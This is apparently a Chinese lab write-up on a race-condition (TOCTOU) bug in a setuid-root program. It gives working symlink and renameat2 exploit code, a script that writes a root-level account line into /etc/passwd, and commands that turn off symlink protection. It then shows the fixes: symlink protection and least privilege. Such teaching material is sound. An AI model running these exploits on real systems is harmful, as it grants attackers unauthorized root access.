实验原理
竞态条件漏洞原理
实验源码解释
漏洞程序vuln如下:
/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
漏洞点在access和fopen之间,access函数用于检查 real user 是否拥有对文件“/tmp/XYZ” 的访问权限,如果在access检测通过后,fopen执行前,改变符号链接指向,fopen就会打开修改后的链接指向的文件,如果vuln有root的setuid的话,就能修改具有root权限的文件。
attack程序:
/* attack.c */
#include <unistd.h>
int main() {
while(1) {
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ"); //修改成当前普通账户下的文件
//sleep(0.5);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
//sleep(0.5);
}
return 0;
}
攻击程序删除符号链接/tmp/XYZ,然后执行symlink(“/dev/null”, “/tmp/XYZ”),把符号链接/tmp/XYZ指向/dev/null,文件/dev/null是一个特殊的设备,它对任何人都是可写的,这一步是为了绕过access函数。
绕过access函数后,再次删除符号链接/tmp/XYZ,执行symlink(“/etc/passwd”, “/tmp/XYZ”)把符号链接/tmp/XYZ指向/etc/passwd,此时就能修改root权限的/etc/passwd了。
由于时间要求比较苛刻,所以需要while循环来不停调用,争取在access后,fopen前把符号链接/tmp/XYZ指向/etc/passwd,这就是所谓“竞争”。
注:原实验指导书上的第六行是symlink(“/home/kali/myfile”, “/tmp/XYZ”); 但是会出现myfile文件损坏的情况,建议直接改成 symlink(“/dev/null”, “/tmp/XYZ”);
target程序:
/* target.sh */
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "mytest:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
target程序不断调用vulp程序并写入mytest:U6aMy0wojraho:0:0:test:/root:/bin/bash,如果发现/etc/passwd内容发生变化,即成功被修改后则中止,输出STOP… The passwd file has been changed。
实验过程
任务 1:针对“竞态条件”漏洞的攻击
关闭保护:
sudo sysctl -w fs.protected_symlinks=0
下载gcc
sudo apt install build-essential
编译vuln.c并setuid:
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
(setuid的目的是为了fopen能打开root权限的文件)
编译attack.c
gcc attack.c -o attack
尝试同时运行attack和target_process.sh,运气好的话会成功,但是大概率会出现如下情况,即target_process.sh窗口不动了,重新再运行一遍连No permission都不弹了:
打开tmp看一下,发现XYZ文件已经变成了root权限,这就是target_process.sh不动了的原因:
XYZ会变成root权限的原因如下:
所以此时需要在tmp窗口下用sudo rm XYZ来删掉XYZ文件,合适的操作是:同时开三个端口,一个跑attack,一个跑target.sh,一个用来待命删除XYZ,当target.sh不动后就把XYZ删掉,会发现target.sh又开始动起来了,如此操作直到修改成功为止。
ps:如果长时间不成功,建议把attack的sleep注释删了。
target.sh出现以下情况就是成功了:
打开/etc/passwd可以看到,已经被写入:
任务 2:改进的攻击
原理:
attack2代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main() {
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
unlink("/home/monke1/mylink");
symlink("/etc/passwd", "/home/monke1/mylink");
while(1){
renameat2(0, "/tmp/XYZ", 0, "/home/monke1/mylink", flags);
}
return 0;
}
实验过程
编译后执行,步骤与任务1一致,可以发现,任务2是必定成功的:
如果发现一直未成功,请检查是否关闭保护,如果还不行,可能是mylink损坏,把自己目录下的mylink删除重试一下。
任务 3:保护机制:系统自带保护策略
打开保护:
sudo sysctl -w fs.protected_symlinks=1
发现无论是attack还是attack2,都失效了:
任务 4:保护机制:使用最小特权原则
把任务3的保护关了:
sudo sysctl -w fs.protected_symlinks=0
vulp代码更新为:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
uid_t ruid = getuid();
uid_t euid = geteuid();
seteuid(ruid);
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
seteuid(euid);
return 0;
}
添加的几行代码如下:
uid_t ruid = getuid();
uid_t euid = geteuid();
seteuid(ruid);
......
seteuid(euid);
UID一般表示进程的创建者,而EUID表示进程对于文件和资源的访问权限,所以这几行代码的意思就是,在执行关键代码前修改EUID为进程创建者的权限,在关键代码结束后恢复EUID为原本的EUID。
编译,如果新的vulp程序改了名字的话,记得也要在target.sh中改一下:
同样步骤运行,发现攻击失败,即保护成功: